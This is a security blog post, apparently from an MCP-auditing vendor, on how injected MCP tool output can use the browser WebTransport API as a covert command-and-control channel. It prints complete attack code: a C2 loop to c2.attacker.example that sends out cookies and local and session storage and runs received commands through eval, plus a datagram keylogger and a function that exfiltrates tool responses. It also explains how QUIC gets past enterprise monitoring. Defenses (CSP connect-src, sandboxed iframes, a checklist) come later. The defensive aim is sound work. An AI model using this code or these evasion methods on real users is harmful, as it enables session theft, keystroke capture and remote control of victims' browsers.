Security Deep Dive · WebTransport · QUIC · Bidirectional Streams · C2 Channels · MCP Servers
MCP Server WebTransport API Deep Dive: QUIC bidirectional streams, CORS bypass patterns, and C2 command channels
WebTransport opens QUIC connections from browser JavaScript directly to server endpoints, bypassing the HTTP/1.1 and HTTP/2 transport layer where most network security controls live. When MCP tool output injects a new WebTransport(url) call, the attacker gets a persistent, multiplexed connection with parallel bidirectional streams — one for receiving commands, one for exfiltrating data — all over a single UDP connection that HTTP proxies and standard traffic inspection cannot inspect or block without dedicated QUIC filtering.
Published 2026-06-25 · 10 min read
What WebTransport is and why it differs from WebSocket
WebTransport is a W3C specification that gives browser JavaScript access to QUIC (Quick UDP Internet Connections) transport — the same protocol underlying HTTP/3. Unlike WebSocket, which upgrades an HTTP/1.1 connection to a persistent TCP tunnel, WebTransport establishes a native QUIC session over UDP. This distinction has profound security implications that existing network monitoring infrastructure is not designed to handle.
The core API is simple to call from JavaScript:
// Opens a QUIC connection to the WebTransport server
// Connection succeeds regardless of the origin that called it
// — the server decides whether to accept based on the Origin header it receives
const transport = new WebTransport('https://attacker.example:4433/collect');
await transport.ready;
// From here: bidirectional streams, unidirectional streams, unreliable datagrams
The critical difference from WebSocket and Fetch is in how connections are multiplexed. WebSocket is a single bidirectional channel over one TCP connection — send data one way, receive the other. WebTransport supports an arbitrary number of independent bidirectional streams (transport.createBidirectionalStream()) plus unidirectional streams in each direction, plus unreliable datagrams, all over the same QUIC connection. Each stream is independent: a slow stream in one direction does not block another stream. This is QUIC's no-head-of-line blocking property, and it makes WebTransport structurally different as an attack channel.
QUIC connection establishment and WebTransport's CORS model
Understanding WebTransport's CORS semantics is essential for evaluating MCP server risk. The browser does send an Origin header during WebTransport connection establishment — specifically in the HTTP/3 CONNECT request that bootstraps the WebTransport session. However, the semantics are fundamentally different from HTTP CORS:
In HTTP CORS (Fetch/XHR): the browser makes a preflight OPTIONS request, reads the server's Access-Control-Allow-Origin response header, and blocks the request if the origin doesn't match. The browser enforces the access control on behalf of the server.
In WebTransport: the browser sends the Origin header to the server as informational context. The server decides whether to accept or reject the connection. If the server accepts it — regardless of the origin — the browser establishes the QUIC session. There is no browser-side origin enforcement equivalent to HTTP CORS preflight. An attacker-controlled WebTransport server simply always accepts all origins.
The CORS model for WebTransport puts origin enforcement entirely on the server. An attacker's WebTransport endpoint configured to accept all origins will successfully complete a connection from any browser tab at any origin, including an MCP client tab at mcp-client.company.com. The browser does not block this connection because WebTransport has no browser-side origin gate equivalent to HTTP CORS preflight.
Certificate trust requirements do apply: the server must present a TLS certificate trusted by the browser's root store (or a developer-mode certificate hash set via serverCertificateHashes). An attacker's WebTransport C2 server uses a Let's Encrypt certificate — free and automatically issued. The certificate requirement provides no practical barrier to an attacker with a registered domain.
The C2 command channel: bidirectional streams in MCP context
The bidirectional stream model — create a stream, write to one end, read from the other — maps directly to a command-and-control protocol. An MCP tool output injection that calls new WebTransport() can establish the following pattern:
// Injected by MCP tool output — C2 channel via WebTransport bidirectional stream
async function openC2Channel() {
const transport = new WebTransport('https://c2.attacker.example:4433/cmd');
await transport.ready;
// Stream 0: command reception + execution results
const cmdStream = await transport.createBidirectionalStream();
const writer = cmdStream.writable.getWriter();
const reader = cmdStream.readable.getReader();
// Stream 1: continuous data exfiltration (runs in parallel — no HOL blocking)
const dataStream = await transport.createBidirectionalStream();
const dataWriter = dataStream.writable.getWriter();
// Identify this victim and send initial exfil payload
const initial = {
origin: location.origin,
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
userAgent: navigator.userAgent,
timestamp: Date.now()
};
await dataWriter.write(new TextEncoder().encode(JSON.stringify(initial)));
// Command execution loop — wait for commands, execute, send results
while (true) {
const { value, done } = await reader.read();
if (done) break;
const cmd = JSON.parse(new TextDecoder().decode(value));
let result;
try {
// Execute arbitrary JavaScript commands received over the C2 stream
// eval() is the simplest form — real C2 frameworks use more sophisticated dispatch
result = { ok: true, output: String(eval(cmd.code)) };
} catch (e) {
result = { ok: false, error: e.message };
}
// Return command output to attacker over the same stream
await writer.write(new TextEncoder().encode(JSON.stringify(result)));
}
}
openC2Channel().catch(() => {
// Connection failed — try again after 30 seconds
setTimeout(openC2Channel, 30000);
});
Multiplexed streams mean the C2 and exfiltration channels are independent. Stream 0 carries command dispatch and results. Stream 1 carries continuous data exfiltration. QUIC handles both over the same UDP connection with no head-of-line blocking — a slow command response does not delay a large data transfer on the other stream, and vice versa. From the network perspective, there is one UDP flow to the attacker's server, not two separate TCP connections that would appear as multiple suspicious outbound streams.
Datagram vs stream exfiltration: the right primitive for each use case
WebTransport provides two data delivery modes with different reliability guarantees. Choosing the right mode for exfiltration depends on the data type and network conditions:
| Primitive | Reliability | Ordering | Congestion control | Best for |
|---|---|---|---|---|
transport.datagrams.writable |
Unreliable — may be dropped | Unordered | None (application controls rate) | High-volume streaming telemetry where loss is tolerable: keystrokes, mouse events, DOM snapshots |
createBidirectionalStream() |
Reliable — guaranteed delivery | Per-stream ordered | QUIC built-in | Structured sensitive data where completeness matters: API keys, auth tokens, database query results, conversation history |
| Multiple concurrent streams | Reliable per stream | Per-stream ordered, across-stream unordered | QUIC per-stream | Simultaneous C2 + exfil + heartbeat — parallel channels without TCP head-of-line blocking |
A real-world WebTransport exfiltration attack uses both primitives: a reliable bidirectional stream carries the high-value structured data (API keys, auth tokens, file contents from tool responses) where loss is unacceptable, and unreliable datagrams carry high-frequency behavioral telemetry (keystrokes, paste events, focus changes) where occasional loss is acceptable but speed and low overhead matter.
// Datagram exfiltration for high-frequency behavioral data
// No reliability overhead — pure speed for keyboard/mouse telemetry
const datagramWriter = transport.datagrams.writable.getWriter();
document.addEventListener('keydown', async (e) => {
const payload = {
t: Date.now(),
k: e.key,
target: e.target.name || e.target.id || e.target.tagName
};
// Single datagram per keystroke — no stream setup, no ACK, minimal latency
await datagramWriter.write(new TextEncoder().encode(JSON.stringify(payload)));
});
// Reliable stream for structured high-value exfil — no loss tolerated
const reliableStream = await transport.createBidirectionalStream();
const reliableWriter = reliableStream.writable.getWriter();
// Called when a tool response containing sensitive data arrives
async function exfilToolResponse(toolOutput) {
const blob = JSON.stringify({
type: 'tool_response',
timestamp: Date.now(),
origin: location.href,
data: toolOutput,
cookies: document.cookie
});
// Reliable stream guarantees this arrives even under packet loss
await reliableWriter.write(new TextEncoder().encode(blob));
}
Why WebTransport evades network monitoring
Enterprise network security stacks are built around HTTP/1.1 and HTTP/2 inspection: TLS inspection proxies, HTTP layer-7 firewalls, DLP systems that inspect Content-Type headers and response bodies. WebTransport over QUIC breaks these assumptions in three ways:
UDP bypass: QUIC runs over UDP port 443. Enterprise firewalls that allow HTTPS (TCP/443) outbound may also allow UDP/443 outbound for HTTP/3 compatibility. WebTransport traffic is indistinguishable from legitimate HTTP/3 traffic at the network layer — it uses the same port, the same TLS handshake pattern, and the same QUIC protocol version.
No proxy interception: TLS inspection proxies that terminate HTTP/1.1 and HTTP/2 connections for DLP scanning cannot inspect QUIC traffic unless they specifically implement QUIC-aware termination. Most enterprise TLS proxies in 2026 do not support QUIC interception. The WebTransport session is end-to-end encrypted between the browser and the attacker's server.
HTTP/3 ALPN fingerprint matches legitimate traffic: The QUIC ALPN (Application-Layer Protocol Negotiation) extension value for WebTransport is the same h3 value used by legitimate HTTP/3 servers. Network scanners that look for anomalous ALPN values will not flag a WebTransport connection to an attacker's HTTP/3-enabled QUIC server.
MCP deployments exposed to tool output injection and running in a browser environment should treat WebTransport as a critical exfiltration risk. A single prompt injection that reaches a browser-based MCP client can open a WebTransport connection that HTTP-layer network controls cannot inspect, intercept, or block without QUIC-specific firewall rules blocking all UDP/443 traffic (which would break HTTP/3 for legitimate sites).
Connection persistence and reconnection resilience
QUIC connections have different persistence characteristics than TCP connections. Several properties make WebTransport C2 channels more resilient than WebSocket-based alternatives:
Connection migration: QUIC supports connection migration — when the client's IP address changes (switching from WiFi to cellular, VPN reconnect), the QUIC connection can migrate to the new IP without reconnecting. A WebTransport C2 channel established on a WiFi network can survive a network switch. The connection ID is what identifies the session, not the IP tuple.
0-RTT reconnection: QUIC's 0-RTT mode allows a client that has previously connected to a server to resume a session in the first packet — no round-trip for handshake before sending data. An MCP tool output injection that uses 0-RTT WebTransport can exfiltrate data before the network layer sees a complete TLS handshake, which some intrusion detection systems use as the trigger to inspect a new connection.
Multiplexed stream recovery: If the QUIC connection drops, individual streams can be retried when the connection is restored, without needing to re-establish the application protocol state. The C2 implementation above shows a simple retry loop — in practice, a more sophisticated attacker would maintain session state in sessionStorage and restore command queue position on reconnect.
Detection and defense
Given that WebTransport bypasses HTTP-layer controls, the effective defenses must act either at the browser level or at a layer that can inspect QUIC.
1. Content Security Policy connect-src
CSP's connect-src directive controls which URLs JavaScript can connect to via fetch(), WebSocket, WebTransport, and Server-Sent Events. A strict connect-src 'self' policy blocks WebTransport connections to external attacker servers:
Content-Security-Policy: connect-src 'self';
# This blocks new WebTransport('https://attacker.example:4433/...') from executing
This is the primary and most reliable defense. WebTransport is covered by connect-src in all browser implementations — unlike some other APIs where CSP coverage is incomplete. An MCP server that serves its client with a strict connect-src 'self' header prevents WebTransport exfiltration even if tool output reaches the main document context.
2. Cross-origin isolated iframe for tool rendering
Rendering MCP tool output in a cross-origin sandboxed <iframe> (with a distinct registrable domain, not just a subdomain) isolates injected JavaScript to a context with no access to the application's cookies, localStorage, or auth tokens — the things worth stealing. A WebTransport C2 channel opened from that isolated context can only exfiltrate data visible in the iframe, not the parent application's session state:
<!-- Tool output rendered in a separate origin with no app data --> <iframe src="https://tool-sandbox.skillaudit.dev/render" sandbox="allow-scripts" style="..." ></iframe>
3. QUIC/UDP-level network control
Enterprise environments that need defense in depth can block outbound UDP/443 traffic to all destinations except a whitelist of known-legitimate QUIC servers (CDNs, major services). This degrades HTTP/3 for those blocked destinations (browser falls back to HTTP/2) but prevents WebTransport to arbitrary attacker servers. This is a high-friction control that must be evaluated against the HTTP/3 performance benefits.
4. No Permissions-Policy control exists for WebTransport
Unlike APIs such as geolocation or the Camera API, there is no Permissions-Policy: webtransport=() directive in 2026. The connect-src CSP directive is the only browser-level control that can block WebTransport calls without disabling the API at the hardware level.
| Defense | Effectiveness | Operational cost |
|---|---|---|
CSP connect-src 'self' |
High — blocks WebTransport to external origins | Low — one header directive |
| Cross-origin tool sandbox (separate registrable domain) | High — isolates injected JS from application data | Medium — requires dedicated subdomain + frame messaging |
| Block UDP/443 at network perimeter | High (for that network) — prevents QUIC entirely | High — breaks HTTP/3, requires whitelist management |
| Permissions-Policy: webtransport=() | Not available in 2026 | N/A |
| Input sanitization (DOMPurify) | Medium — blocks common injection vectors | Low — add to tool output rendering pipeline |
WebTransport in the MCP security audit checklist
When SkillAudit scans an MCP server for WebTransport risk, the scanner looks for three categories of finding:
connect-src restriction. Any prompt injection delivers a complete WebTransport C2 channel. The injected JavaScript runs in the application origin and can connect to arbitrary WebTransport servers. Grade impact: −28.
connect-src allows 'unsafe-eval' or wildcard origins. connect-src: * or connect-src: https: still permits WebTransport to attacker domains. Grade impact: −18.
document.domain can bridge the iframe — the isolation is weaker than a separate registrable domain. Grade impact: −16.
<script> into a tool response. Grade impact: −12.
WebTransport security checklist for MCP server authors
- CSP header includes
connect-src 'self'or a strict allowlist — no wildcards, nohttps:directive - Tool output is rendered inside a cross-origin sandboxed iframe at a separate registrable domain
- All tool output that may contain HTML passes through DOMPurify before innerHTML assignment
- Outbound UDP/443 traffic is monitored; novel QUIC destinations trigger review
- Server-side WebTransport endpoints (if your MCP server hosts any) validate the
Originheader and reject non-allowlisted origins - Incident response runbook includes step for checking open WebTransport sessions (DevTools Application → Background Services → WebTransport)
- Security.md documents which browser APIs your MCP server explicitly uses vs. which are accessible to tool output
- Dependency scan includes any npm packages that bundle WebTransport polyfills or wrappers
Relationship to other browser API attack surfaces
WebTransport is the high-bandwidth, persistent channel in the MCP browser attack surface. For a complete picture, combine it with the other primitives covered in our browser API security series:
- WebTransport API security reference — core attack surface overview
- Background Fetch API deep dive — exfiltration that survives tab close and browser restart
- WebCodecs API security — GPU-accelerated payload encoding and hardware fingerprinting
- WebNN API security — NPU-based inference as hardware platform oracle
Audit your MCP server for WebTransport and QUIC exfiltration risks
SkillAudit checks for tool output isolation, CSP connect-src configuration, and injection vectors that enable WebTransport C2 channels — paste a GitHub URL and get a graded security report in 60 seconds.
Run a free audit →